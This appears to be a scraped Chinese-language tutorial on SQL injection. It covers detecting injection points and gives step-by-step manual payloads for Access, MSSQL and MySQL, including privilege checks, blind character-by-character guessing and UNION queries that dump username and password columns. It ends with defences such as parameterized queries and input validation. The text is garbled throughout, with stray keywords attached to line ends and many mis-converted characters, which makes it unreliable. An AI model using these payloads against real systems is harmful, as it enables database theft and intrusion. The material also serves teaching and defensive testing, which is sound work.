SQL注入是一種將SQL代碼插入或添加到應用(用戶)的輸入參數中的攻擊,以後再將這些參數傳遞給後臺的SQL服務器加以解析並執行。php
www.xx.com/news.php?id=1
www.xx.com/news.php?id=1 and 1=1mysql
首先,SQL注入常年蟬聯OWASP排行榜第一名web
SQL注入產生的過程是怎樣的呢?見下圖正則表達式
數據庫信息泄露
網頁篡改
網站被掛馬
數據庫被惡意操做
服務器被遠程控制
破壞硬盤數據sql
通常經過遠程測試判斷是否存在SQL注入,因此一般沒有機會經過查看源代碼來複查注入的查詢結構。這致使常常須要經過推理來進行大量測試數據庫
打開IE瀏覽器,選擇菜單「工具」->「Internet選項」對話框。
打開「高級」選項卡,在設置列表中找到「瀏覽」組,
取消勾選」顯示友好HTTP錯誤信息」複選框 。以下圖瀏覽器
最經常使用的SQL注入判斷方法,在網站中尋找以下形式的網頁服務器
http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1框架
提交單引號,頁面返回錯誤工具
提交and 1=1 頁面返回正常 ,提交and 1=2 頁面返回錯誤
區分數字和字符串
數字型
SELECT *FROM user WHERE id=1
SELECT * FROM user WHERE id > 1
帶引號類型的
SELECT * FROM user WHERE name = ‘admin’
SELECT * FROM user WHERE date > ‘2017-5-3’
內聯SQL注入:內聯注入是指插入查詢注入SQL代碼後,原來的查詢仍然會所有執行。
終止式SQL注入:終止式SQL語句注入是指攻擊者在注入SQL代碼時,經過註釋剩下的查詢來成功結束該語句
例如在單引號後面再加上 %23 表示進行單引號閉合,此時頁面又恢復正常
select * from XXX where id ='1"
select * from XXX where id = ' 1'%23 ' (藍色部分爲注入內容,紅色部分爲被註釋掉)
www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min
利用內置數據庫表獲取數據庫類型
and (select count(*) from sysobjects)>=0
Sysobjects爲Mssql數據庫內置表
and (select count(*) from msysobjects)>=0
Msysobjects爲Access數據庫內置表
Access手工注入猜解
猜表名
and exists(select * from 表名)
and(select count(*) from 表名)>=0
猜字段名
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0
猜字段長度
and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n
猜字段值
and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
and (select top 1 asc(mid (字段名,2,1)) from 表名)>n
Order by 猜字段數目
Order by 1
Order by 2
Order by n
Union select 獲取段內容
Union select 1,字段名,2,…,n from 表名
在進行MsSQL注入攻擊時,首先要對MsSQL注入點進行一下基本的注入檢查,以肯定後面的攻擊實施方案。
注入點權限判斷
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是不是系統管理員
and 1=(select IS_SRVROLEMEMBER('db_owner')) //判斷是不是庫權限
and 1=(select IS_SRVROLEMEMBER('public')) //判斷是否爲public權限
返回信息判斷
and @@version>0 //數據庫信息
;declare @d int //判斷MsSQL支持多行語句查詢
and (select count(1) from [sysobjects])>=0 //是否支持子查詢
and user>0 //獲取當前數據庫用戶名
and 1=convert(int,db_name()) 或 1=(select db_name()) //當前數據庫名
and 1=(select @@servername) //本地服務名
and 1=(select HAS_DBACCESS('master')) //判斷是否有庫讀取權限
根據表名爆列名,能夠獲取user表中全部的列
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'user'
根據列名爆出全部關鍵用戶字段的信息
union select uname,pwd,3,4 from flag %23
使用參數化查詢
PHP包含不少用於訪問數據庫的框架。訪問MySQL數據庫的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP數據對象(PDO)框架,他們均爲使用參數化語句提供便利。
輸入驗證
驗證應用接收到的輸入時一種可用的功能強大的控制手段(若是用的好的話)。
白名單
使用白名單應該開了下列要點:
數據類型:字符、數字等;
數據大小:字符串長度是否正確,數字的大小和精度是否正確。
數據範圍:若是 是數字型,是否位於該數據類型指望的數字範圍。
數據內容:數據是否屬於指望的數據類型,如手機號碼,它是否瞞住指望的值。
黑名單
黑名單驗證的經常使用方法也是使用正則表達式。
編碼輸入與使用存儲過程防護
除了驗證應用受到的輸入之外,一般還須要對在應用的不一樣模塊或部分傳遞的內容進行編碼。
一般會被忽視的狀況是對來自數據庫的信息進行編碼,尤爲是當正在使用的數據庫未通過嚴格驗證或審查,或者來自第三方數據源時。
將應用設計成專門使用存儲過程來訪問數據庫是一種能夠放置或減輕SQL注入影響的技術。存儲
過程是保存在數據庫彙總的程序。根據數據庫的不一樣,可使用不少不一樣語言及其變體來編寫存儲過程